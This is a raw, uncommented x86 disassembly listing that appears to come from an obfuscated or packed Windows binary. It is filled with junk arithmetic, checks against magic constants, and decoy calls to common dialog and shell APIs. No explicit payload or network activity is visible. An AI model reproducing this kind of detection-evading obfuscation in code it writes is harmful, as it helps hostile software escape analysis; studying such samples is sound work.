movzx edx, word [ecx]
mov eax, dword [ebp - 0x181c]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x8ac], dx
lea edx, [ebp - 0xcc0]
push edx
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
mov dword [ebp - 0x69c], eax
mov eax, dword [ebp - 0x118]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x15c]
add ecx, dword [edx]
mov eax, dword [ebp - 0x13b4]
mov dword [eax], ecx
mov dword [ebp - 0x710], 0x50b3
lea ecx, [ebp - 0x82c]
mov dword [ebp - 0x3ec], ecx
mov edx, dword [ebp - 0x3ec]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x41c]
add eax, dword [ecx]
mov edx, dword [ebp - 0x13b4]
mov ecx, dword [edx]
and ecx, dword [ebp - 0x82c]
cmp eax, ecx
jl 0x4d19d6
cmp dword [ebp - 0x19c], 0xfa1d
jbe 0x4c1514
mov edx, dword [ebp - 0x6cc]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x665]
sub eax, ecx
mov edx, dword [ebp - 0x6cc]
mov byte [edx], al
mov eax, dword [ebp - 0x181c]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x75c]
sub ecx, edx
mov eax, dword [ebp - 0x358]
mov word [eax], cx
mov ecx, dword [ebp - 0x12cc]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2e0]
mov eax, dword [ebp - 0x12cc]
mov dword [eax], edx
mov ecx, dword [ebp - 0x19c]
sub ecx, 0x82
mov dword [ebp - 0x19c], ecx
mov edx, dword [ebp - 0x41c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x3ec]
add eax, dword [ecx]
mov dword [ebp - 0x108c], eax
movzx edx, byte [ebp - 0x665]
movzx eax, byte [ebp - 0x92d]
and edx, eax
mov ecx, dword [ebp - 0x6cc]
mov byte [ecx], dl
movzx edx, word [ebp - 0xa20]
mov eax, dword [ebp - 0x181c]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x358]
mov word [ecx], dx
mov edx, dword [ebp - 0x320]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x7dc]
shr eax, cl
mov ecx, dword [ebp - 0x12cc]
mov dword [ecx], eax
mov edx, dword [ebp - 0x13e8]
or edx, dword [ebp - 0x108c]
mov dword [ebp - 0x82c], edx
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x108c]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x13b4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x12cc]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x2e0]
mov dword [ebp - 0x7dc], ecx
mov edx, dword [ebp - 0x358]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x75c]
add eax, ecx
mov edx, dword [ebp - 0x181c]
mov word [edx], ax
movzx eax, byte [ebp - 0x665]
movzx ecx, byte [ebp - 0x92d]
and eax, ecx
mov edx, dword [ebp - 0x6cc]
mov byte [edx], al
mov eax, dword [ebp - 0x82c]
sub eax, dword [ebp - 0x13e8]
mov ecx, dword [ebp - 0x41c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3ec]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x118]
add eax, dword [ecx]
mov edx, dword [ebp - 0x13b4]
mov dword [edx], eax
movsx eax, byte [ebp - 0x81]
add eax, 0x38
mov byte [ebp - 0xe2d], al
movsx ecx, word [ebp - 0x1a8]
movsx edx, word [0x519d74]
sub ecx, edx
mov eax, dword [ebp - 0x9a4]
mov word [eax], cx
movzx ecx, byte [ebp - 0x665]
movzx edx, byte [ebp - 0x92d]
sub ecx, edx
mov eax, dword [ebp - 0x6cc]
mov byte [eax], cl
movzx ecx, word [ebp - 0x75c]
movzx edx, word [ebp - 0xa20]
add ecx, edx
mov eax, dword [ebp - 0x181c]
mov word [eax], cx
mov ecx, dword [ebp - 0x12cc]
mov edx, dword [ebp - 0x320]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x7dc], eax
jmp 0x4c1336
movsx ecx, byte [ebp - 0xe2d]
add ecx, 0x24
movsx edx, byte [ebp - 0x81]
cmp ecx, edx
jl 0x4c162b
mov eax, dword [ebp - 0x6cc]
mov cl, byte [eax]
mov byte [ebp - 0x1920], cl
cmp byte [ebp - 0x1920], 0x36
je 0x4c1592
cmp byte [ebp - 0x1920], 0xd5
je 0x4c154f
jmp 0x4c15aa
mov edx, dword [ebp - 0x12cc]
mov eax, dword [edx]
or eax, dword [ebp - 0x2e0]
mov dword [ebp - 0x7dc], eax
mov ecx, dword [ebp - 0x13b4]
mov edx, dword [ebp - 0x82c]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x3ec]
mov dword [eax], edx
push 0
lea ecx, [ebp - 0xbd0]
push ecx
call dword [sym.imp.ole32.dll_OleGetIconOfFile]
mov dword [ebp - 0x624], eax
jmp 0x4c15aa
mov edx, dword [ebp - 0x15c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x13e8]
sar eax, cl
mov ecx, dword [ebp - 0x41c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x118]
mov eax, dword [ebp - 0x108c]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x13b4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x320]
mov eax, dword [edx]
mov dword [ebp - 0x1924], eax
cmp dword [ebp - 0x1924], 0x268000
je 0x4c15e8
cmp dword [ebp - 0x1924], 0x851becf1
je 0x4c1626
jmp 0x4c162b
lea ecx, [ebp - 0x665]
mov dword [ebp - 0x1360], ecx
mov edx, dword [ebp - 0x181c]
mov ax, word [edx]
mov word [ebp - 0x10b4], ax
mov ecx, dword [ebp - 0x7dc]
mov dword [ebp - 0x18b8], ecx
mov edx, dword [ebp - 0x82c]
and edx, dword [ebp - 0x13e8]
mov eax, dword [ebp - 0x118]
mov dword [eax], edx
jmp 0x4c162b
call fcn.0046d040
mov ecx, dword [ebp - 0x3ec]
mov edx, dword [ebp - 0x13e8]
add edx, dword [ecx]
mov dword [ebp - 0x108c], edx
lea eax, [ebp - 0x18b8]
mov dword [ebp - 0x1108], eax
mov ecx, dword [ebp - 0x41c]
mov edx, dword [ebp - 0x15c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x13b4]
mov edx, dword [ebp - 0x3ec]
mov ecx, dword [ecx]
and ecx, dword [edx]
cmp eax, ecx
jl 0x4d1999
cmp dword [ebp - 0x1068], 0x6c1c
jbe 0x4c194d
movzx edx, word [ebp - 0xa20]
movzx eax, word [ebp - 0x8ac]
add edx, eax
mov ecx, dword [ebp - 0x358]
mov word [ecx], dx
movsx edx, word [ebp - 0x1a8]
movsx eax, word [0x519d74]
sub edx, eax
mov ecx, dword [ebp - 0x9a4]
mov word [ecx], dx
mov edx, dword [ebp - 0x9a4]
movsx eax, word [edx]
movsx ecx, word [0x519d74]
sub eax, ecx
mov word [ebp - 0x1a8], ax
movsx edx, word [ebp - 0x1a8]
mov eax, dword [ebp - 0x9a4]
movsx ecx, word [eax]
sub edx, ecx
mov word [0x519d74], dx
mov edx, dword [ebp - 0x118]
mov eax, dword [ebp - 0x82c]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x13b4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x181c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xa20]
or eax, ecx
mov word [ebp - 0x10b4], ax
mov edx, dword [ebp - 0x1068]
sub edx, 0x6b
mov dword [ebp - 0x1068], edx
movzx eax, byte [ebp - 0x92d]
movzx ecx, byte [ebp - 0x665]
sar eax, cl
mov ecx, dword [ebp - 0x1360]
mov byte [ecx], al
mov edx, dword [ebp - 0x108c]
xor edx, dword [ebp - 0x13e8]
mov dword [ebp - 0x82c], edx
mov eax, dword [ebp - 0x7dc]
and eax, dword [ebp - 0x2e0]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x108c]
add ecx, dword [ebp - 0x13e8]
mov dword [ebp - 0x82c], ecx
mov edx, dword [ebp - 0x41c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x13b4]
add eax, dword [ecx]
mov dword [ebp - 0x82c], eax
mov edx, dword [ebp - 0x358]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x181c]
movzx edx, word [ecx]
sub eax, edx
mov word [ebp - 0x8ac], ax
movsx eax, word [ebp - 0x1a8]
mov ecx, dword [ebp - 0x9a4]
movsx edx, word [ecx]
add eax, edx
mov word [0x519d74], ax
mov eax, dword [ebp - 0x320]
mov ecx, dword [ebp - 0x7dc]
and ecx, dword [eax]
mov dword [ebp - 0x2e0], ecx
mov edx, dword [ebp - 0x15c]
mov eax, dword [ebp - 0x118]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x13b4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x118]
mov ecx, dword [ebp - 0x41c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x3ec]
mov dword [eax], edx
mov ecx, dword [ebp - 0x41c]
mov edx, dword [ebp - 0x13b4]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x118]
mov dword [ecx], eax
mov edx, dword [ebp - 0x15c]
mov eax, dword [ebp - 0x108c]
add eax, dword [edx]
mov ecx, dword [ebp - 0x3ec]
mov dword [ecx], eax
movzx edx, word [ebp - 0x8ac]
mov eax, dword [ebp - 0x181c]
movzx ecx, word [eax]
or edx, ecx
mov eax, dword [ebp - 0x358]
mov word [eax], dx
mov ecx, dword [ebp - 0x9a4]
movsx edx, word [ecx]
movsx ecx, word [0x519d74]
shl edx, cl
mov word [ebp - 0x1a8], dx
movzx eax, byte [ebp - 0x92d]
mov ecx, dword [ebp - 0x1360]
movzx edx, byte [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x6cc]
mov byte [ecx], al
mov edx, dword [ebp - 0x9a4]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x1a8]
sar eax, cl
mov word [0x519d74], ax
mov ecx, dword [ebp - 0x320]
mov edx, dword [ebp - 0x12cc]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x1108]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1108]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x12cc]
add eax, dword [ecx]
mov dword [ebp - 0x7dc], eax
movzx edx, byte [ebp - 0x665]
movzx eax, byte [ebp - 0x92d]
sub edx, eax
mov ecx, dword [ebp - 0x6cc]
mov byte [ecx], dl
movzx edx, word [ebp - 0x8ac]
mov eax, dword [ebp - 0x358]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x181c]
mov word [eax], dx
mov ecx, dword [ebp - 0x3ec]
mov edx, dword [ebp - 0x15c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x118]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2e0]
sub edx, dword [ebp - 0x7dc]
mov dword [ebp - 0x18b8], edx
mov eax, dword [ebp - 0x41c]
mov ecx, dword [ebp - 0x3ec]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x108c], edx
mov eax, dword [section..data]
add eax, dword [ebp - 0x13e8]
mov dword [ebp - 0x108c], eax
jmp 0x4c1673
lea ecx, [ebp - 0x1a8]
mov dword [0x519dfc], ecx
movzx edx, word [ebp - 0x10b4]
mov dword [ebp - 0x1928], edx
cmp dword [ebp - 0x1928], 0
je 0x4c1974
jmp 0x4d181e
mov al, byte [ebp - 0x92d]
mov byte [ebp - 0x192c], al
cmp byte [ebp - 0x192c], 0
je 0x4c1ab8
cmp byte [ebp - 0x192c], 0xa5
je 0x4c199b
jmp 0x4d17ff
mov ecx, dword [ebp - 0x3ec]
mov edx, dword [ebp - 0x15c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x13e8]
sub ecx, dword [ebp - 0x82c]
cmp eax, ecx
jl 0x4c1a4a
mov edx, dword [ebp - 0x181c]
movzx eax, word [edx]
mov dword [ebp - 0x1930], eax
cmp dword [ebp - 0x1930], 0x108
je 0x4c19dc
jmp 0x4c1a37
lea ecx, [ebp - 0xd10]
push ecx
call dword [sym.imp.SHELL32.dll_ILRemoveLastID]
mov dword [ebp - 0xfac], eax
mov edx, dword [ebp - 0x181c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x75c]
and eax, ecx
mov word [ebp - 0x10b4], ax
movsx edx, word [ebp - 0x1a8]
mov eax, dword [ebp - 0x9a4]
movsx ecx, word [eax]
sub edx, ecx
mov eax, dword [0x519dfc]
mov word [eax], dx
lea ecx, [ebp - 0x1180]
push ecx
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
mov dword [ebp - 0xfac], eax
jmp 0x4c1a48
mov edx, dword [ebp - 0x18b8]
mov ecx, dword [ebp - 0xa20]
call fcn.004721c0
jmp 0x4c1ab3
mov edx, dword [ebp - 0x181c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x358]
movzx edx, word [ecx]
add eax, edx
movzx ecx, word [ebp - 0x8ac]
movzx edx, word [ebp - 0x75c]
sub ecx, edx
cmp eax, ecx
jne 0x4c1ab3
mov eax, dword [ebp - 0x13b4]
mov ecx, dword [ebp - 0x3ec]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x13b4]
mov dword [eax], edx
lea ecx, [ebp - 0x1430]
push ecx
call dword [sym.imp.COMDLG32.dll_FindTextW]
mov dword [ebp - 0xdc8], eax
mov edx, dword [ebp - 0x118]
mov eax, dword [ebp - 0x13e8]
xor eax, dword [edx]
mov dword [ebp - 0x82c], eax
jmp 0x4d17ff
mov ecx, dword [ebp - 0x118]
mov edx, dword [ecx]
mov dword [ebp - 0x1934], edx
cmp dword [ebp - 0x1934], 0
je 0x4c1ae4
cmp dword [ebp - 0x1934], 0x267a48f4
je 0x4d16b2
jmp 0x4d17e9
movsx eax, word [ebp - 0x1a8]
mov dword [ebp - 0x1938], eax
cmp dword [ebp - 0x1938], 0xc42
je 0x4c1aff
jmp 0x4c1b50
mov ecx, dword [ebp - 0x1360]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x6cc]
movzx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x665], dl
mov ecx, dword [ebp - 0x358]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0x75c]
sar edx, cl
mov eax, dword [ebp - 0x358]
mov word [eax], dx
movzx ecx, byte [ebp - 0x665]
push ecx
mov edx, dword [ebp - 0x181c]
movzx eax, word [edx]
push eax
call section..text
jmp 0x4d161e
movsx ecx, word [ebp - 0x1a8]
mov dword [ebp - 0x193c], ecx
cmp dword [ebp - 0x193c], 0
je 0x4c1b77
cmp dword [ebp - 0x193c], 0x2be4
je 0x4c1b9f
jmp 0x4c1c1a
lea edx, [ebp - 0x1a8]
mov dword [ebp - 0xfa8], edx
mov al, byte [ebp - 0x81]
mov byte [ebp - 0x17d], al
mov ecx, dword [ebp - 0x320]
mov edx, dword [ecx]
mov dword [ebp - 0xd64], edx
jmp 0x4c1c1a
push 0x6a
lea eax, [ebp - 0xfac]
push eax
push fcn.004d7e60
mov ecx, dword [ebp - 0xd38]
push ecx
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [ebp - 0x69c], eax
mov edx, dword [ebp - 0x15c]
mov eax, dword [edx]
xor eax, dword [ebp - 0x82c]
mov dword [ebp - 0x13e8], eax
movzx ecx, word [ebp - 0x75c]
mov edx, dword [ebp - 0x358]
movzx eax, word [edx]
or ecx, eax
mov edx, dword [ebp - 0x181c]
mov word [edx], cx
push 0x5d
mov eax, dword [ebp - 0xe70]
push eax
mov ecx, dword [ebp - 0xe70]
push ecx
call dword [sym.imp.COMCTL32.dll_DrawInsert]
mov edx, dword [ebp - 0x1108]
mov edx, dword [edx]
mov eax, dword [ebp - 0x358]
mov cx, word [eax]
call fcn.004721c0
mov ecx, dword [ebp - 0x13b4]
mov edx, dword [section..data]
sub edx, dword [ecx]
mov dword [0x519004], edx
lea eax, [ebp - 0x665]
mov dword [ebp - 0x32c], eax
mov ecx, dword [ebp - 0x82c]
mov dword [ebp - 0x1940], ecx
cmp dword [ebp - 0x1940], 0
je 0x4c1c64
cmp dword [ebp - 0x1940], 0x4ff0a132
je 0x4d148e
jmp 0x4d156d
movsx edx, word [ebp - 0x1a8]
mov dword [ebp - 0x1944], edx
cmp dword [ebp - 0x1944], 0
je 0x4c1c8f
cmp dword [ebp - 0x1944], 0x3a0d
je 0x4d13e4
jmp 0x4d142d
mov ax, word [ebp - 0x1a8]
mov word [ebp - 0xfc0], ax
mov ecx, dword [0x519dfc]
movsx edx, word [ecx]
mov dword [ebp - 0x1948], edx
cmp dword [ebp - 0x1948], 0
je 0x4c1cb7
jmp 0x4c1d0f
mov al, byte [ebp - 0x665]
mov byte [ebp - 0x7c2], al
lea ecx, [ebp - 0xa20]
mov dword [ebp - 0xa28], ecx
mov edx, dword [ebp - 0x12cc]
mov eax, dword [edx]
mov dword [ebp - 0xfbc], eax
mov ecx, dword [ebp - 0x13e8]
mov dword [ebp - 0xb64], ecx
mov dword [ebp - 0xbe0], 0x78fd
movzx edx, word [ebp - 0x75c]
movzx eax, word [ebp - 0x8ac]
add edx, eax
mov word [ebp - 0x10b4], dx
jmp 0x4c1dbd
mov ecx, dword [ebp - 0xf60]
push ecx
call dword [sym.imp.SHELL32.dll_SHChangeNotification_Unlock]
mov dword [ebp - 0xfac], eax
movzx edx, byte [ebp - 0x665]
mov eax, dword [ebp - 0x1360]
movzx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x7c2], dl
mov edx, dword [ebp - 0x12cc]
mov eax, dword [edx]
mov dword [ebp - 0x194c], eax
cmp dword [ebp - 0x194c], 0xdf14ca91
je 0x4c1da5
cmp dword [ebp - 0x194c], 0xe6173e2c
je 0x4c1d62
jmp 0x4c1dbd
mov ecx, dword [ebp - 0x320]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x2e0]
mov eax, dword [ebp - 0x12cc]
mov dword [eax], edx
lea ecx, [ebp - 0x3f0]
push ecx
lea edx, [ebp - 0x624]
push edx
call dword [sym.imp.SHELL32.dll_ILCombine]
mov dword [ebp - 0x2e8], eax
mov edx, dword [ebp - 0xd64]
mov ecx, dword [ebp - 0x10b4]
call fcn.004721c0
jmp 0x4c1dbd
mov eax, dword [ebp - 0x41c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x3ec]
add ecx, dword [edx]
mov eax, dword [ebp - 0x13b4]
mov dword [eax], ecx
mov dword [ebp - 0x10e0], 0x28be
mov ecx, dword [ebp - 0x41c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0xb64]
mov eax, dword [ebp - 0x3ec]
mov ecx, dword [ebp - 0x82c]
add ecx, dword [eax]
cmp edx, ecx
jl 0x4c1f92
movzx edx, word [ebp - 0x8ac]
mov eax, dword [ebp - 0xa28]
movzx ecx, word [eax]
sub edx, ecx
mov eax, dword [ebp - 0x181c]
movzx ecx, word [eax]
mov eax, dword [ebp - 0x358]
movzx eax, word [eax]
xor ecx, eax
cmp edx, ecx
jl 0x4c1f54
mov ecx, dword [ebp - 0x32c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x92d]
or edx, eax
movzx eax, byte [ebp - 0x665]
mov ecx, dword [ebp - 0x6cc]
movzx ecx, byte [ecx]
sar eax, cl
cmp edx, eax
jg 0x4c1f3b
mov edx, dword [ebp - 0x18b8]
sub edx, dword [ebp - 0xd64]
mov eax, dword [ebp - 0x320]
mov ecx, dword [ebp - 0x2e0]
sub ecx, dword [eax]
cmp edx, ecx
ja 0x4c1f26
movzx edx, byte [ebp - 0x665]
mov eax, dword [ebp - 0x6cc]
movzx ecx, byte [eax]
and edx, ecx
movzx eax, byte [ebp - 0x7c2]
movzx ecx, byte [ebp - 0x92d]
sub eax, ecx
cmp edx, eax
jl 0x4c1f24
mov edx, dword [ebp - 0x3ec]
mov eax, dword [edx]
add eax, dword [ebp - 0x82c]
mov ecx, dword [ebp - 0x15c]
mov dword [ecx], eax
lea edx, [ebp - 0x18b8]
mov dword [ebp - 0xd84], edx
movzx eax, word [ebp - 0x8ac]
movzx ecx, word [ebp - 0x10b4]
sub eax, ecx
mov edx, dword [ebp - 0x358]
mov word [edx], ax
movzx eax, word [ebp - 0x10b4]
mov ecx, dword [ebp - 0x181c]
movzx edx, word [ecx]
add eax, edx
mov word [0x519008], ax
lea eax, [ebp - 0x7c2]
mov dword [ebp - 0xa24], eax
mov dword [ebp - 0x240], 0x85ae
mov ecx, dword [ebp - 0x82c]
or ecx, dword [ebp - 0x13e8]
mov edx, dword [ebp - 0x15c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x108c]
mov ecx, dword [ebp - 0x82c]
sar eax, cl
mov ecx, dword [ebp - 0x118]
mov dword [ecx], eax
jmp 0x4c1f39
lea edx, [ebp - 0x12a8]
push edx
call dword [sym.imp.COMDLG32.dll_PrintDlgExW]
mov dword [ebp - 0x100], eax
jmp 0x4c1f54
movsx eax, word [ebp - 0x1a8]
mov ecx, dword [ebp - 0x9a4]
movsx ecx, word [ecx]
shl eax, cl
mov word [ebp - 0xfc0], ax
lea edx, [ebp - 0x17d]
mov dword [ebp - 0x11bc], edx
lea eax, [ebp - 0x75c]
mov dword [ebp - 0x658], eax
movzx ecx, byte [ebp - 0x92d]
mov edx, dword [ebp - 0x1360]
movzx eax, byte [edx]
xor ecx, eax
mov edx, dword [ebp - 0x6cc]
mov byte [edx], cl
lea eax, [ebp - 0xfbc]
mov dword [ebp - 0xd28], eax
mov ecx, dword [ebp - 0x3ec]
mov edx, dword [ecx]
mov dword [ebp - 0x1950], edx
cmp dword [ebp - 0x1950], 0
je 0x4c1fae
jmp 0x4d13ae
mov eax, dword [ebp - 0x13b4]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x41c]
add ecx, dword [edx]
mov dword [ebp - 0x13e8], ecx
lea eax, [ebp - 0x82c]
mov dword [ebp - 0x9bc], eax
mov ecx, dword [ebp - 0x9bc]
mov edx, dword [ebp - 0x41c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x13e8], eax
mov ecx, dword [ebp - 0x32c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x665]
add edx, eax
mov byte [ebp - 0x92d], dl
movzx ecx, word [ebp - 0x8ac]
mov edx, dword [ebp - 0x658]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0xa28]
mov word [edx], cx
mov eax, dword [ebp - 0x18b8]
sub eax, dword [ebp - 0x7dc]
mov ecx, dword [ebp - 0x320]
mov dword [ecx], eax
mov edx, dword [ebp - 0x15c]
mov eax, dword [edx]
and eax, dword [ebp - 0x82c]
mov ecx, dword [ebp - 0x41c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x9bc]
mov eax, dword [edx]
sub eax, dword [ebp - 0xb64]
mov dword [ebp - 0x13e8], eax
mov ecx, dword [ebp - 0xd28]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2e0]
mov dword [ebp - 0x7dc], edx
movsx eax, word [ebp - 0xfc0]
mov ecx, dword [ebp - 0x9a4]
movsx edx, word [ecx]
add eax, edx
mov word [0x519d74], ax
mov eax, dword [ebp - 0x181c]
movzx edx, word [eax]
movzx ecx, word [ebp - 0x8ac]
shl edx, cl
mov word [ebp - 0x10b4], dx
movsx eax, word [ebp - 0x1a8]
mov ecx, dword [ebp - 0xfa8]
movsx edx, word [ecx]
or eax, edx
mov ecx, dword [ebp - 0x9a4]
mov word [ecx], ax
movsx edx, byte [ebp - 0xe2d]
movsx eax, byte [ebp - 0x17d]
xor edx, eax
mov ecx, dword [ebp - 0x11bc]
mov byte [ecx], dl
mov edx, dword [ebp - 0x12cc]
mov eax, dword [ebp - 0xd64]
mov ecx, dword [edx]
shr eax, cl
mov dword [ebp - 0x18b8], eax
mov ecx, dword [0x519004]
and ecx, dword [ebp - 0x82c]
mov edx, dword [ebp - 0x41c]
mov dword [edx], ecx
mov eax, dword [ebp - 0xa28]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x658]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x181c]
mov word [edx], cx
movzx eax, byte [ebp - 0x665]
mov ecx, dword [ebp - 0xa24]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x6cc]
mov byte [ecx], al
mov edx, dword [ebp - 0x9bc]
mov eax, dword [edx]
add eax, dword [ebp - 0x82c]
mov ecx, dword [ebp - 0x3ec]
mov dword [ecx], eax
mov edx, dword [ebp - 0x9a4]
movsx eax, word [edx]
mov ecx, dword [ebp - 0xfa8]
movsx edx, word [ecx]
add eax, edx
mov word [0x519d74], ax
mov eax, dword [ebp - 0x108c]
sub eax, dword [ebp - 0xb64]
mov ecx, dword [ebp - 0x118]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3ec]
mov eax, dword [edx]
sub eax, dword [ebp - 0xb64]
mov ecx, dword [ebp - 0x9bc]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x7c2]
movzx eax, byte [ebp - 0x92d]
and edx, eax
mov ecx, dword [ebp - 0x6cc]
mov byte [ecx], dl
mov edx, dword [ebp - 0xa28]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x8ac]
add eax, ecx
mov edx, dword [ebp - 0x358]
mov word [edx], ax
mov eax, dword [ebp - 0xd84]
mov ecx, dword [ebp - 0xfbc]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x320]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3ec]
mov ecx, dword [ebp - 0x41c]
mov edx, dword [eax]
or edx, dword [ecx]
mov eax, dword [ebp - 0x13b4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x15c]
mov edx, dword [ebp - 0x9bc]
mov eax, dword [ecx]
mov ecx, dword [edx]
sar eax, cl
mov dword [ebp - 0x82c], eax
mov edx, dword [section..data]
mov ecx, dword [ebp - 0x13e8]
shl edx, cl
mov eax, dword [ebp - 0x13b4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x118]
mov edx, dword [ebp - 0x9bc]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [0x519004], eax
mov ecx, dword [ebp - 0xbe0]
add ecx, 0xa8
mov dword [ebp - 0xbe0], ecx
movsx edx, word [ebp - 0x1a8]
movsx eax, word [0x519d74]
and edx, eax
mov ecx, dword [ebp - 0x9a4]
mov word [ecx], dx
mov edx, dword [ebp - 0x11bc]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x81]
add eax, ecx
mov byte [ebp - 0x17d], al
movzx edx, word [ebp - 0xa20]
mov eax, dword [ebp - 0x658]
movzx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0x75c], dx
mov edx, dword [ebp - 0x32c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa24]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x665], al
mov eax, dword [ebp - 0x7dc]
sub eax, dword [ebp - 0xfbc]
mov dword [ebp - 0x2e0], eax
mov ecx, dword [ebp - 0xd28]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x320]
add edx, dword [eax]
mov dword [ebp - 0x7dc], edx
cmp dword [ebp - 0xbe0], 0xb16d
jb 0x4c1ffe
mov ecx, dword [ebp - 0x108c]
mov dword [ebp - 0x1954], ecx
cmp dword [ebp - 0x1954], 0
je 0x4c237b
cmp dword [ebp - 0x1954], 0x6c9501ba
je 0x4c2306
jmp 0x4d1362
movzx edx, byte [ebp - 0x665]
mov eax, dword [ebp - 0x32c]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x7c2], dl
lea edx, [ebp - 0x1248]
push edx
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov dword [ebp - 0x348], eax
movsx eax, word [ebp - 0x1a8]
movsx ecx, word [ebp - 0xfc0]
and eax, ecx
mov edx, dword [0x519dfc]
mov word [edx], ax
mov eax, dword [ebp - 0x1108]
mov edx, dword [ebp - 0xfbc]
mov ecx, dword [eax]
shr edx, cl
mov dword [ebp - 0xd64], edx
mov eax, dword [ebp - 0x82c]
mov ecx, dword [ebp - 0xb64]
shl eax, cl
mov ecx, dword [ebp - 0x41c]
mov dword [ecx], eax
jmp 0x4d1362
mov edx, dword [ebp - 0x82c]
mov dword [ebp - 0x468], edx
movzx eax, word [ebp - 0x75c]
mov ecx, dword [ebp - 0xa28]
movzx edx, word [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x358]
movzx edx, word [ecx]
movzx ecx, word [0x519008]
or edx, ecx
cmp eax, edx
jne 0x4c2452
mov edx, dword [ebp - 0xd84]
mov eax, dword [edx]
mov dword [ebp - 0x1958], eax
cmp dword [ebp - 0x1958], 0x14c0cdc2
je 0x4c23db
cmp dword [ebp - 0x1958], 0x4faa04b1
je 0x4c243c
jmp 0x4c2450
movzx ecx, byte [ebp - 0x7c2]
mov edx, dword [ebp - 0x1360]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x665], cl
lea ecx, [ebp - 0x95c]
push ecx
push str.chatting_weathered_percentage
call dword [sym.imp.ole32.dll_GetClassFile]
mov dword [ebp - 0x1050], eax
movzx edx, word [ebp - 0xa20]
mov eax, dword [ebp - 0xa28]
movzx ecx, word [eax]
sub edx, ecx
mov eax, dword [ebp - 0x181c]
mov word [eax], dx
mov ecx, dword [ebp - 0xd84]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2e0]
mov dword [ebp - 0xfbc], edx
jmp 0x4c2450
mov eax, dword [ebp - 0x82c]
sub eax, dword [ebp - 0x468]
